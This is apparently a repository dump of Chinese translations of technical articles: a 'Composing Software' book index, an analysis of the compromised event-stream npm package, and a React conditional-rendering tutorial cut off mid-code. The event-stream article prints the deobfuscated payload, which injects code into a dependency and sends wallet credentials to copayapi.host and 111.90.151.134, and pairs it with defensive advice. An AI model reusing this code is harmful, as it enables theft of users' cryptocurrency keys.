PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/composing-software-the-book.md",
    "content": "> * 原文地址：[Composing Software: The Book](https://medium.com/javascript-scene/composing-software-the-book-f31c77fc3ddc)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/composing-software-the-book.md](https://github.com/xitu/gold-miner/blob/master/TODO1/composing-software-the-book.md)\n> * 译者：[zoomdong](https://github.com/fireairforce)\n> * 校对者：[Roc](https://github.com/QinRoc), [niayyy](https://github.com/niayyy-S)\n\n# 组合软件：书\n\n![Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)](https://cdn-images-1.medium.com/max/10302/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n> **注意：** 这是[**“组合软件”系列丛书**](https://leanpub.com/composingsoftware)的一部分，它最初以一个博客文章系列的形式出现在这里。它从头到尾地包含了 JavaScript（ES6+）中的函数式编程和组合软件技术。[“组合软件”同样也有印刷版本](https://www.amazon.com/Composing-Software-Exploration-Programming-Composition/dp/1661212565/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=eejs-20&linkId=eee1371063c82dea4c2fc72c097868c6&language=en_US)。\n\n“组合软件”是一个热门的博客文章系列，介绍了 JavaScript 中的函数式编程和软件组合，现在是 [Leanpub 上最畅销的书](https://leanpub.com/composingsoftware)。也有[印刷版本](https://www.amazon.com/Composing-Software-Exploration-Programming-Composition/dp/1661212565/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=eejs-20&linkId=eee1371063c82dea4c2fc72c097868c6&language=en_US)。\n\n2017 年 2 月 8 日，我开始写一篇关于函数式编程的博客文章。[“跌宕起伏的函数式编程”](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c) 作为《软件组合》系列的介绍文章。当我开始写作的时候，我并不知道它会吸引超过 10 万的读者，也不知道接下来的文章会有超过 100 万的总阅读量，更不知道它能够[出版](https://leanpub.com/composingsoftware)，并在发布的一周内跃升到 Leanpub 畅销书排行榜。\n\n我衷心感谢 JS Cheerleader，她使这本书在很多方面变得更好。如果你觉得这些文章是易于阅读的，那是因为她仔细地校验了每一页，并在每一步都提供了深刻的反馈和鼓励。没有她的帮助，你现在就不会读到这些文章。\n\n感谢博客的读者，他们的热情支持帮助我们把这个小小的博客文章系列变成了一个吸引了数百万读者的现象级文章系列，并为我们提供了把它变成一本书的动力。\n\n感谢计算机科学领域中为我们铺平了道路的传奇人物们。\n\n> “如果说我看得更远，那是因为我站在巨人的肩膀上。” —— 艾萨克·牛顿爵士\n\n组合是所有的软件开发方式：将复杂的问题分解成更小的部分，然后将这些更小的解决方案组合在一起，组成了应用程序。\n\n但是我在面试软件开发工作的面试者时注意到，几乎没有人能描述软件上下文中的组合。当我在面试的时候问 “什么是函数组合？” 或者 “什么是对象组合？”，得到的却是支支吾吾的或者没有任何实质的内容的回答。\n\n怎么会这样呢？99% 的专业开发人员 —— 有些拥有 10 年以上的软件开发经验 —— 怎么可能不知道软件工程中组合的两种最基础形式的定义或例子呢？每个人每天都在构建软件的过程中组合函数和对象，那么怎么会有那么多人不理解这些技术的基本原理呢？\n\n事实上，组合根本不是一门人们关注、教得好、学得好的学科。我突然想到，也许这就是为什么[过度复杂化是软件开发人员每天犯的最大错误](https://medium.com/javascript-scene/the-single-biggest-mistake-programmers-make-every-day-62366b432308)。当你不知道如何把乐高积木拼在一起时，你可能会弄坏胶带和胶水，然后变得烦躁......对于软件开发来说，你也会损害软件、你的队友和用户。\n\n你无法摆脱组合软件 —— 软件就是这样组合在一起的。但如果你不认真组合软件的话，你会做得很差，浪费大量的时间和金钱，造成漏洞，甚至导致严重的人类安全问题。我写了这个系列和这本书来改变这一点。\n\n博客文章的麻烦在于它们从来没有官方索引。欢迎使用“组合软件：博客文章”的官方博客文章索引。\n\n* [简介](https://medium.com/javascript-scene/composing-software-an-introduction-27b72500d6ea)\n* [不变性之道](https://medium.com/javascript-scene/the-dao-of-immutability-9f91a70c88cd)\n* [跌宕起伏的函数式编程](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c)\n* [为什么用 JavaScript 学习函数式编程？](https://medium.com/javascript-scene/why-learn-functional-programming-in-javascript-composing-software-ea13afc7a257)\n* [纯函数](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976)\n* [什么是函数式编程？](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0)\n* [函数式程序员的 JavaScript 简介](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30)\n* [高阶函数](https://medium.com/javascript-scene/higher-order-functions-composing-software-5365cf2cbe99)\n* [柯里化与函数组合](https://medium.com/javascript-scene/curry-and-function-composition-2c208d774983)\n* [抽象与组合](https://medium.com/javascript-scene/abstraction-composition-cb2849d5bdd6)\n* [Functor 与 Category](https://medium.com/javascript-scene/functors-categories-61e031bac53f)\n* [JavaScript 让 Monad 更简单](https://medium.com/javascript-scene/javascript-monads-made-simple-7856be57bfe8)\n* [被遗忘的面向对象编程史](https://medium.com/javascript-scene/the-forgotten-history-of-oop-88d71b9b2d9f)\n* [对象组合中的宝藏](https://medium.com/javascript-scene/the-hidden-treasures-of-object-composition-60cd89480381)\n* [ES6+ 中的 JavaScript 工厂函数](https://medium.com/javascript-scene/javascript-factory-functions-with-es6-4d224591a8b1)\n* [函数式 Mixin](https://medium.com/javascript-scene/functional-mixins-composing-software-ffb66d5e731c)\n* [为什么类中使用组合很难](https://medium.com/javascript-scene/why-composition-is-harder-with-classes-c3e627dcd0aa)\n* [可自定义数据类型](https://medium.com/javascript-scene/composable-datatypes-with-functions-aec72db3b093)\n* [Lenses：可组合函数式编程的 Getter 和 Setter](https://medium.com/javascript-scene/lenses-b85976cb0534)\n* [Transducers：JavaScript 中高效的数据处理 Pipeline](https://medium.com/javascript-scene/transducers-efficient-data-processing-pipelines-in-javascript-7985330fe73d)\n* [JavaScript 样式元素](https://medium.com/javascript-scene/elements-of-javascript-style-caa8821cb99f)\n* [模拟是一种代码异味](https://medium.com/javascript-scene/mocking-is-a-code-smell-944a70c90a6a)\n\n---\n\n**Eric Elliott** 是一名分布式系统专家，并且是 [《组合软件》](https://leanpub.com/composingsoftware)和[《编写 JavaScript 程序》](https://ericelliottjs.com/product/programming-javascript-applications-ebook/)这两本书的作者。作为 [EricElliottJS.com](https://ericelliottjs.com) 和 [DevAnywhere.io](https://devanywhere.io/) 的联合创始人，他教开发人员远程工作和实现工作以及生活平衡所需的技能。他创建了加密项目的开发团队，并为他们提供建议。他还在软件体验上为 **Adobe 系统、Zumba Fitness、华尔街日报、ESPN、BBC** 以及包括 **Usher、Frank Ocean、Metallica** 等在内的顶级唱片艺术家做出了贡献。\n\n**他和世界上最漂亮的女人一起享受着远程（工作）的生活方式。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/compromised-npm-package-event-stream.md",
    "content": "> * 原文地址：[Compromised npm Package: event-stream](https://medium.com/intrinsic/compromised-npm-package-event-stream-d47d08605502)\n> * 原文作者：[Thomas Hunter II](https://medium.com/@tlhunter?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/compromised-npm-package-event-stream.md](https://github.com/xitu/gold-miner/blob/master/TODO1/compromised-npm-package-event-stream.md)\n> * 译者：[CoderMing](https://github.com/coderming)\n> * 校对者：[格子熊](https://github.com/KarthusLorin), [caoyi](https://github.com/caoyi0905)\n\n# 被污染的 npm 包：event-stream\n\n![](https://cdn-images-1.medium.com/max/800/1*OB_BwZtUSGuM15X6xFsrWw.png)\n\n一个著名的 npm 包 [`event-stream`](https://github.com/dominictarr/event-stream) 的作者，将其转让给了一个恶意用户 [right9ctrl](https://github.com/right9ctrl)。这个包每个月有超过 [150 万](https://www.npmjs.com/package/event-stream) 次下载，同时其被 1,600 个其它的 npm 包依赖。恶意用户通过持续地向这个包贡献代码来获得了其原作者的信任。这个 npm 包由恶意用户发布的第一个版本时间是 2018 年 9 月 4 日。\n\n恶意用户修改了 `event-stream`，让其依赖了一个恶意 npm 包 [`flatmap-stream`](https://github.com/hugeglass/flatmap-stream)。这个 npm 包是专门针对这次攻击所制作的。它包括了一个相当简单的 `index.js` 文件，同时也有一个压缩版的 `index.min.js` 文件。在 GitHub 上，这两个文件看起来完全没问题。然而，在 npm 上发行的代码并没有被要求与 git 仓库中所存储的代码相同。\n\n这个被插入到 `event-stream` 中的恶意 npm 包在 10 月 20 日被其他用户发现并在 [dominictarr/event-stream#116](https://github.com/dominictarr/event-stream/issues/116#issuecomment-441759047) 中曝光。这个 issue 在恶意 npm 包发布两个月后才被创建。开源软件的一大好处是能够集众多开发者之力，但这并不是毫无坏处的。例如 OpenSSL，这个开源项目有着几乎最严格的代码审查，但是其仍然有许多不足之处，例如 Heartbleed 漏洞（译者注：可参考 http://heartbleed.com/）。\n\n### 恶意 npm 包做了什么？\n\n该恶意 npm 包是一种针对性很强的攻击。它最终会对一个开源 App [bitpay/copay](https://github.com/bitpay/copay) 发起攻击。该 App 的 README 中提到：**Copay 是一个支持桌面端和移动端的安全比特币钱包平台**。我们知道恶意 npm 包只针对这个应用是因为其会读取项目 `package.json` 文件中的 `description` 字段，并用其去解码一个 **AES256** 加密的代码段。\n\n对于其他项目，`description` 字段不能够用于给加密代码段解密，之后 hack 操作将会悄悄终止。而 [bitpay/copay的 description 字段](https://github.com/bitpay/copay/blob/90336ef9fb4cc3a90a026827be27a32348d3615c/package.json#L3)，也就是 `A Secure Bitcoin Wallet`，是解密这些数据（加密代码段）的 key。\n\n `flatmap-stream` 这个包巧妙地将数据隐藏在了 `test` 文件夹中。这个文件夹在 GitHub 不可见但却出现在了实际的 [`flatmap-stream-0.1.1.tgz`](https://registry.npmjs.org/flatmap-stream/-/flatmap-stream-0.1.1.tgz) 包中。这些加密的数据以一个数组的形式存储，数据的每一部分都被压缩及混淆过，同时也以不同的参数进行了加密。一部分加密的数据包括了一些会被静态数据统计工具警告为恶意行为的方法名，例如 `_compile` 这个在 `require` 中意味着创建一个新 Module 的字符串。在下面两段示例代码中，我尽我所能去清理了这些文件让代码更易读。\n\n这是第一部分。它不怎么有意思，最有可能出现于一个 bootstrap 内的函数来用于引入第二段代码。它看起来是通过修改子模块中的一个名为 `ReedSolomonDecoder.js` 的子模块来使用的。如果该文件中已经有了 `/*@@*/` 这个字符串，那么它就什么都不做。如果尚未对其进行修改，那么它不仅会修改文件，还会将访问权限和修改后的时间戳替换为原来的值。这样做的话，当你看你磁盘中的文件时，你就不会注意到它已经被修改了。\n\n```\n/*@@*/\nmodule.exports = function (e) {\n  try {\n    if (!/build\\:.*\\-release/.test(process.argv[2])) return;\n    var desc = process.env.npm_package_description;\n    var fs = require(\"fs\");\n    var decoderPath = \"./node_modules/@zxing/library/esm5/core/common/reedsolomon/ReedSolomonDecoder.js\";\n    var decoderStat = fs.statSync(decoderPath);\n    var decoderSource = fs.readFileSync(decoderPath, \"utf8\");\n    var decipher = require(\"crypto\").createDecipher(\"aes256\", desc);\n    var s = decipher.update(e, \"hex\", \"utf8\");\n    s = \"\\n\" + (s += decipher.final(\"utf8\"));\n    var a = decoderSource.indexOf(\"\\n/*@@*/\");\n    if (0 <= a) {\n      (decoderSource = decoderSource.substr(0, a));\n      fs.writeFileSync(decoderPath, decoderSource + s, \"utf8\");\n      fs.utimesSync(decoderPath, decoderStat.atime, decoderStat.mtime);\n      process.on(\"exit\", function () {\n        try {\n          fs.writeFileSync(decoderPath, decoderSource, \"utf8\");\n          fs.utimesSync(decoderPath, decoderStat.atime, decoderStat.mtime);\n        } catch (err) {}\n      });\n    }\n  } catch (err) {}\n};\n```\n\n第二部分就更有趣了。我将一些多余的代码段被删掉了，来凸显出其原意图：\n\n```\n/*@@*/\nfunction doBadStuff() {\n  try {\n    const http = require(\"http\");\n    const crypto = require(\"crypto\");\n    const publicKey = \"-----BEGIN PUBLIC KEY-----\\n...TRUNCATED...\\n-----END PUBLIC KEY-----\";\n\n    function sendRequest(hostname, path, body) {\n      // Original request \"decodes\" a hex representation of the hostnames\n      // hostname = Buffer.from(hostname, \"hex\").toString();\n\n      const req = http.request({\n        hostname: hostname,\n        port: 8080,\n        method: \"POST\",\n        path: \"/\" + path, // path will be /p or /c\n        headers: {\n          \"Content-Length\": body.length,\n          \"Content-Type\": \"text/html\"\n        }\n      }, function() {});\n\n      req.on(\"error\", function(err) {});\n\n      req.write(body);\n\n      req.end();\n    }\n\n    function sendRequests(path, rawStringPayload) {\n      // path = \"c\" || \"p\"\n      let payload = \"\";\n      for (let i = 0; i < rawStringPayload.length; i += 200) {\n        const chunk = rawStringPayload.substr(i, 200);\n        payload += crypto.publicEncrypt(\n          publicKey,\n          Buffer.from(chunk, \"utf8\")\n        ).toString(\"hex\") + \"+\";\n      }\n\n      sendRequest(\"copayapi.host\", path, payload);\n      sendRequest(\"111.90.151.134\", path, payload);\n    }\n\n    function getDataFromStorage(name, callback) {\n      if (window.cordova) {\n        try {\n          const dd = cordova.file.dataDirectory;\n          resolveLocalFileSystemURL(dd, function(localFs) {\n            localFs.getFile(name, {\n              create: false\n            }, function(file) {\n              file.file(function(contents) {\n                const fileReader = new FileReader;\n                fileReader.onloadend = function() {\n                  return callback(JSON.parse(fileReader.result))\n                };\n                fileReader.onerror = function(err) {\n                  fileReader.abort()\n                };\n                fileReader.readAsText(contents)\n              })\n            })\n          })\n        } catch (err) {}\n      } else {\n        try {\n          const data = localStorage.getItem(name);\n\n          if (data) {\n            return callback(JSON.parse(data));\n          }\n\n          chrome.storage.local.get(name, function(entry) {\n            if (entry) {\n              return callback(JSON.parse(entry[name]));\n            }\n          })\n        } catch (err) {}\n      }\n    }\n\n    global.CSSMap = {};\n\n    getDataFromStorage(\"profile\", function(data) {\n      for (let credential in data.credentials) {\n        const creds = data.credentials[credential];\n        if (\"livenet\" == creds.network) {\n          getDataFromStorage(\"balanceCache-\" + creds.walletId, function(data) {\n            const self = this;\n            self.balance = parseFloat(data.balance.split(\" \")[0]);\n\n            if (\"btc\" == self.coin && self.balance < 100 || \"bch\" == self.coin && self.balance < 1000) {\n              global.CSSMap[self.xPubKey] = true;\n            }\n\n            sendRequests(\"c\", JSON.stringify(self));\n          }.bind(creds))\n        }\n      }\n    });\n\n    const Credentials = require(\"bitcore-wallet-client/lib/credentials.js\");\n    // Intercept the getKeys function in the Credentails class\n    Credentials.prototype.getKeysFunc = Credentials.prototype.getKeys;\n    Credentials.prototype.getKeys = function(keyLookup) {\n      const originalResult = this.getKeysFunc(keyLookup);\n      try {\n        if (global.CSSMap && global.CSSMap[this.xPubKey]) {\n          delete global.CSSMap[this.xPubKey];\n          sendRequests(\"p\", keyLookup + \"\\t\" + this.xPubKey);\n        }\n      } catch (err) {}\n\n      return originalResult;\n    }\n  } catch (err) {}\n}\n\n// Run as soon as ready\nwindow.cordova\n  ? document.addEventListener(\"deviceready\", doBadStuff)\n  : doBadStuff()\n```\n\n这个文件像是个 `bitcore-wallet-client` 包打了猴子补丁，特别是 `Credentials` 类的 `getKeys` 方法，它备份了原有函数，然后将钱包内的凭证传到第三方服务器。这个服务器位于 `111.90.151.134`。这些凭证可能被用来获取用户账户的访问权限，然后允许攻击者从原账户主那里窃取资金。\n\n这个 npm 包在企图避免侦测上做了很多事情。例如，它不会在使用测试的比特币网络即 `testnet` 上运行，它只会在实际的比特币网络 `livenet` 中运行。如果受感染的应用在做网络测试，这将会避免其被发现。它同时只会在被打包成 release 版本时运行安装引导程序（译者注：即上文中第一段代码，加载恶意代码）。它通过查看 `process.argv` 中的第一个参数来使用正则表达式 `/build\\:.*\\-release/` 进行匹配，如果没有匹配到，那这次流程就可能是被某类 build server 运作的。\n\n### 如何防御这次攻击？\n\n通过使用静态分析工具来扫描 npm 包可能是个很棒的想法。但此次攻击对恶意的源代码进行了加密以避免被检测到。为了防止这种攻击，我们必须采取其他的方法...\n\n这次特定攻击看起来可以同时在传统 web 页面和通过 Cordova（一个将 web App 打包成移动端 App 的工具）构建的 App 中运行。我们已经发现了这次攻击可以通过使用 [CSP (Content Security Policy)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) 来阻止。这是用来指定页面可以与哪些 url 通信并将这些设定通过 web 服务器响应头来指定的标准。Cordova 甚至有其自身的方法 [mechanism](https://cordova.apache.org/docs/en/latest/reference/cordova-plugin-whitelist/index.html#navigation-whitelist) 来指定哪些第三方服务可以使用。然而，[Copay App 似乎禁用了这个特性](https://github.com/bitpay/copay/blob/72a9e176c12c77b5dfc4590c88de73f28fa301b7/app-template/config-template.xml#L121)。\n\nCSP 可以有效地保证前端页面的安全。然而，这个特性没有被内置在 Node.js 中。[Intrinsic](https://intrinsic.com/) 这个 Node.js 包提供了让你可以设定你 App 通信 URL 白名单的功能——这很像 CSP ——而且其可以干更多事情。Intrinsic 可以被用来设置文件系统白名单、子进程白名单、`process` 的细分节点、TCP 和 UDP 连接甚至是细粒度的数据库访问。这些白名单是建立在每条请求路由的，这使得其比防火墙更加强大。\n\n有趣的是，这次在 `event-stream` 中发生的攻击中，攻击者用猴子补丁的方式修改了系统关键函数来实现其向恶意服务器发送 HTTP 请求的目的，这正好是我们之前的这篇文章中所警示的：[The Dangers of Malicious Modules](https://medium.com/intrinsic/common-node-js-attack-vectors-the-dangers-of-malicious-modules-863ae949e7e8)。随着时间的推移，这些基于代码依赖链的攻击只会越来越频繁。这种高针对性的攻击（例如这次针对 Copay 的）也会变得越来越普遍。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/conditional-rendering-in-react.md",
    "content": "> * 原文地址：[8 React conditional rendering methods](https://blog.logrocket.com/conditional-rendering-in-react-c6b0e5af381e)\n> * 原文作者：[Esteban Herrera](https://blog.logrocket.com/@eh3rrera?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/conditional-rendering-in-react.md](https://github.com/xitu/gold-miner/blob/master/TODO1/conditional-rendering-in-react.md)\n> * 译者：[Dong Han](https://github.com/IveHD)\n> * 校对者：[Jessica Shao](https://github.com/tutaizi)，[doctype233](https://github.com/tutaizi\n\n# 8 React 实现条件渲染的多种方式和性能考量\n\n![](https://cdn-images-1.medium.com/max/800/1*iePG8qczEBX1ICAMR5U-JQ.png)\n\n[JSX](https://facebook.github.io/jsx/) 是对 JavaScript 强大的扩展，允许我们来定义 UI 组件。但是它不直接支持循环和条件表达式（尽管添加 [条件表达式已经被讨论过了](https://github.com/reactjs/react-future/issues/35)）。\n\n如果你想要遍历一个列表来渲染多个组件或者实现一些条件逻辑，你不得不使用纯 Javascript，你也并没有很多的选择来处理循环。更多的时候，`map` 将会满足你的需要。\n\n但是条件表达式呢？\n\n那就是另外一回事了。\n\n### 有几种方案可供你选择\n\n在 React 中有多种使用条件语句的方式。并且，和编程中的大多数事情一样，依赖于你所要解决的实际问题，有些方式是更适合的。\n\n本教程介绍了最流行的条件渲染方法：\n\n*   If/Else\n*   避免使用 `null` 渲染\n*   元素变量\n*   三元运算符\n*   与运算 (&&)\n*   立即调用函数（IIFE）\n*   子组件\n*   高阶组件（HOCs）\n\n作为所有这些方法如何工作的示例，接下来将实现具有查看/编辑功能的组件：\n\n![](https://cdn-images-1.medium.com/max/800/0*vS8AU_xnc4VHcHrK.)\n\n你可以在 [JSFiddle](https://jsfiddle.net/) 中尝试和拷贝（fork）所有例子。\n\n让我们从使用 if/else 这种最原始的实现开始并在这里构建它。\n\n### If/else\n\n让我们使用如下状态来构建一个组件：\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n  }\n}\n```\n\n你将使用一个属性来保存文本，并且使用另外一个属性存储正在被编辑的文本。第三个属性将用来表示你是在 `edit` 还是 `view` 模式下。\n\n接下来，添加一些方法来处理输入文本、保存和输入事件：\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n}\n```\n\n现在，对于渲染方法，除了保存的文本之外，还要检查模式状态属性，以显示编辑按钮或文本输入框和保存按钮：\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n}\n```\n\n下面是完整的代码，可以在 fiddle 中尝试执行它：\n\nBabel + JSX:\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  render () {\n    if(this.state.mode === 'view') {\n      return (\n        <div>\n          <p>Text: {this.state.text}</p>\n          <button onClick={this.handleEdit}>\n            Edit\n          </button>\n        </div>\n      );\n    } else {\n      return (\n        <div>\n          <p>Text: {this.state.text}</p>\n            <input\n              onChange={this.handleChange}\n              value={this.state.inputText}\n            />\n          <button onClick={this.handleSave}>\n            Save\n          </button>\n        </div>\n      );\n    }\n  }\n}\n\nReactDOM.render(\n    <App />,\n  document.getElementById('root')\n);\n```\n\nif/else 是最简单的方式来解决这个问题，但是我确定你知道这并不是一种好的实现方式。\n\n它适用于简单的用例，每个程序员都知道它是如何工作的。但是有很多重复，`render` 方法看起来并不简洁。\n\n所以让我们通过将所有条件逻辑提取到两个渲染方法来简化它，一个来渲染文本框，另一个来渲染按钮：\n\n```\nclass App extends React.Component {\n  // …\n  \n  renderInputField() {\n    if(this.state.mode === 'view') {\n      return <div></div>;\n    } else {\n      return (\n          <p>\n            <input\n              onChange={this.handleChange}\n              value={this.state.inputText}\n            />\n          </p>\n      );\n    }\n  }\n  \n  renderButton() {\n    if(this.state.mode === 'view') {\n      return (\n          <button onClick={this.handleEdit}>\n            Edit\n          </button>\n      );\n    } else {\n      return (\n          <button onClick={this.handleSave}>\n            Save\n          </button>\n      );\n    }\n  }\n\n  render () {\n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        {this.renderInputField()}\n        {this.renderButton()}\n      </div>\n    );\n  }\n}\n```\n\n下面是完整的代码，可以在 fiddle 中尝试执行它：\n\nBabel + JSX:\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  renderInputField() {\n    if(this.state.mode === 'view') {\n      return <div></div>;\n    } else {\n      return (\n          <p>\n            <input\n              onChange={this.handleChange}\n              value={this.state.inputText}\n            />\n          </p>\n      );\n    }\n  }\n  \n  renderButton() {\n    if(this.state.mode === 'view') {\n      return (\n          <button onClick={this.handleEdit}>\n            Edit\n          </button>\n      );\n    } else {\n      return (\n          <button onClick={this.handleSave}>\n            Save\n          </button>\n      );\n    }\n  }\n  \n  render () {\n    return (\n      <div>\n        <p>Text: {this.state.text}</p>\n        {this.renderInputField()}\n        {this.renderButton()}\n      </div>\n    );\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n需要注意的是当组件在预览模式下时，方法 `renderInputField` 返回了一个空的 `div` 元素。\n\n然而这并不是必要的。\n\n### 避免渲染空元素\n\n如果你想要**隐藏**一个组件，你可以让它的渲染方法返回 `null`，因为没必要渲染一个空的（和不同的）元素来占位。\n\n需要注意的重要一点是当返回 `null` 时，即使组件并不会被看见，但是生命周期方法仍然被触发了。\n\n举个例子，下面的代码实现了两个组件之间的计数器：\n\nBabel + JSX:\n\n```\nclass Number extends React.Component {\n  constructor(props) {\n    super(props);\n  }\n  \n  componentDidUpdate() {\n    console.log('componentDidUpdate');\n  }\n  \n  render() {\n    if(this.props.number % 2 == 0) {\n        return (\n            <div>\n                <h1>{this.props.number}</h1>\n            </div>\n        );\n    } else {\n      return null;\n    }\n  }\n}\n\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = { count: 0 }\n  }\n  \n  onClick(e) {\n    this.setState(prevState => ({\n      count: prevState.count + 1\n    }));\n  }\n\n  render() {\n    return (\n      <div>\n        <Number number={this.state.count} />\n        <button onClick={this.onClick.bind(this)}>Count</button>\n      </div>\n    )\n  }\n}\n\nReactDOM.render(\n  <App />,\n  document.getElementById('root')\n);\n```\n\n`Number` 组件只有在父组件传递偶数时渲染父组件传递的值，否则，将返回 `null`。然后，当观察控制台输出时，将会发现不管 `render` 返回什么， `componentDidUpdate` 总是会被调用。\n\n回头来看我们的例子，像这样来改变 `renderInputField` 方法：\n\n```\n  renderInputField() {\n    if(this.state.mode === 'view') {\n      return null;\n    } else {\n      return (\n          <p>\n            <input\n              onChange={this.handleChange}\n              value={this.state.inputText}\n            />\n          </p>\n      );\n    }\n  }\n```\n\n下面是完整的代码：\n\nBabel + JSX:\n\n```\nclass App extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {text: '', inputText: '', mode:'view'};\n    \n    this.handleChange = this.handleChange.bind(this);\n    this.handleSave = this.handleSave.bind(this);\n    this.handleEdit = this.handleEdit.bind(this);\n  }\n  \n  handleChange(e) {\n    this.setState({ inputText: e.target.value });\n  }\n  \n  handleSave() {\n    this.setState({text: this.state.inputText, mode: 'view'});\n  }\n\n  handleEdit() {\n    this.setState({mode: 'edit'});\n  }\n  \n  renderInputField() {\n    if(this.state.mode === 